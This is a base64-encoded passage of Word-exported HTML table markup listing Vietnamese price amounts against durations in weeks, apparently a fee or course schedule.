bnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxpZ249InRvcCIgc3R5 bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTti b3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdp bmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDox Mi4yNXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxp Z249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1h bCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9u dCBzaXplPSI0Ij44IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCTwv dHI+DQoJCQkJPHRyIHN0eWxlPSJoZWlnaHQ6IDIzLjNwdCI+DQoJCQkJCTx0ZCB3aWR0aD0iNjMi IHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NDYuOXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0 IDEuMHB0Ow0KICAgIGJvcmRlci10b3A6bm9uZTtwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7 aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGRkZGRiI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3Jt YWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0 OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBS b21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjY8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJ CQk8dGQgd2lkdGg9IjExMyIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NC41NXB0O2JvcmRl ci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2lu ZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0ND QyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0 LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHls ZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjMs NTAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iNzAiIHZhbGln bj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoN CiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmln aHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40 cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29O b3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVp Z2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBS b21hbiI+PGZvbnQgc2l6ZT0iNCI+NyANCgkJCQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90 ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMTQiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6ODUuMjVw dDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNv bGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7 DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9 IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHls ZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNw YW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXpl PSI0Ij42LDIwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9Ijcw IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVy LWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9y ZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQg MGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFz cz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBs aW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1l cyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjkgDQoJCQkJCXR1JiM3ODQ3O248L2ZvbnQ+PC9z cGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMTA2IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRo Ojc5LjZwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90 dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQg MS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJn Y29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJ PGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9u dCBzaXplPSI0Ij44LDgwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lk dGg9IjcwIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7 Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4w cHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4g NS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8 cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2Vu dGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5 OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjEwIA0KCQkJCQl0dSYjNzg0NztuPC9m b250Pjwvc3Bhbj48L3RkPg0KCQkJCTwvdHI+DQoJCQkJPHRyIHN0eWxlPSJoZWlnaHQ6IDIzLjNw dCI+DQoJCQkJCTx0ZCB3aWR0aD0iNjMiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NDYuOXB0 O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIGJvcmRlci10b3A6bm9uZTtwYWRk aW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGRkZGRiI+ DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFs aWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjc8L2Zv bnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjExMyIgdmFsaWduPSJ0b3AiIHN0 eWxlPSJ3aWR0aDo4NC41NXB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25l O2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQg d2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0 OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFs aWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3Jt YWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+ DQoJCQkJCTxmb250IHNpemU9IjQiPjQsNTAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJ CQkJCTx0ZCB3aWR0aD0iNzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRl ci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2lu ZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0ND QyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0 LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+OCANCgkJCQkJdHUm Izc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMTQiIHZhbGlnbj0i dG9wIiBzdHlsZT0id2lkdGg6ODUuMjVwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQog ICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0 OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0 O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9y bWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdo dDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcg Um9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij42LDIwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48 L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRw dDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNv bGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7 DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9 IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHls ZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4g c3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjEwIA0K CQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjEwNiIg dmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo3OS42cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1s ZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRl ci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBp biA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9 Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGlu ZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGlt ZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+MTIsMDAwLDAwMDwvZm9udD48L3Nw YW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iNzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lk dGg6NTIuNHB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1i b3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4 dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIg Ymdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50 ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJ CQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0i NCI+MTIgDQoJCQkJCXR1JiM3ODQ3O248L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4NCgkJ CQk8dHIgc3R5bGU9ImhlaWdodDogMjMuM3B0Ij4NCgkJCQkJPHRkIHdpZHRoPSI2MyIgdmFsaWdu PSJ0b3AiIHN0eWxlPSJ3aWR0aDo0Ni45cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7 DQogICAgYm9yZGVyLXRvcDpub25lO3BhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6 MjMuM3B0IiBiZ2NvbG9yPSIjRkZGRkZGIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxp Z249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1h bCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4N CgkJCQkJPGZvbnQgc2l6ZT0iNCI+ODwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3 aWR0aD0iMTEzIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjg0LjU1cHQ7Ym9yZGVyLXRvcDpu b25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0 IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6 MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJ CQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246 IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+NSwxMDAsMDAw PC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3Ai IHN0eWxlPSJ3aWR0aDo1Mi40cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5v bmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xp ZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWln aHQ6MjMuM3B0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIg YWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5v cm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48 Zm9udCBzaXplPSI0Ij45IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3RkPg0KCQkJ CQk8dGQgd2lkdGg9IjExNCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NS4yNXB0O2JvcmRl ci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2lu ZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0ND QyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0 LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHls ZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjEw LDAwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxp Z249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6 DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJp Z2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUu NHB0O2hlaWdodDoyMy4zcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNv Tm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhl aWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcg Um9tYW4iPjxmb250IHNpemU9IjQiPjEyIA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48 L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjEwNiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo3OS42 cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpz b2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0 Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9y PSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5 bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6 ZT0iNCI+MTUsNTAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0i NzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRlci10b3A6bm9uZTtib3Jk ZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBwdDti b3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1LjRw dCAwaW4gNS40cHQ7aGVpZ2h0OjIzLjNwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNs YXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7 IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRp bWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+MTQgDQoJCQkJCXR1JiM3ODQ3O248L2ZvbnQ+ PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMjMuM3B0Ij4N CgkJCQkJPHRkIHdpZHRoPSI2MyIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo0Ni45cHQ7Ym9y ZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgYm9yZGVyLXRvcDpub25lO3BhZGRpbmc6 MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9yPSIjRkZGRkZGIj4NCgkJ CQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246 IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+OTwvZm9udD48 L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMTEzIiB2YWxpZ249InRvcCIgc3R5bGU9 IndpZHRoOjg0LjU1cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9y ZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5k b3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMu M3B0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249 ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+ DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJ CQkJPGZvbnQgc2l6ZT0iNCI+NywwMDAsMDAwPC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJ PHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo1Mi40cHQ7Ym9yZGVyLXRv cDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0 ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRp bmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4N CgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxp Z246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij4xMCANCgkJCQkJdHUmIzc4 NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMTQiIHZhbGlnbj0idG9w IiBzdHlsZT0id2lkdGg6ODUuMjVwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAg bm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNv bGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hl aWdodDoyMy4zcHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFs IiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDog bm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9t YW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij4xNSwwMDAsMDAwPC9mb250Pjwvc3Bhbj48L2I+PC90 ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo1Mi40cHQ7 Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xp ZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0K ICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjMuM3B0IiBiZ2NvbG9yPSIj RkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9 InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0 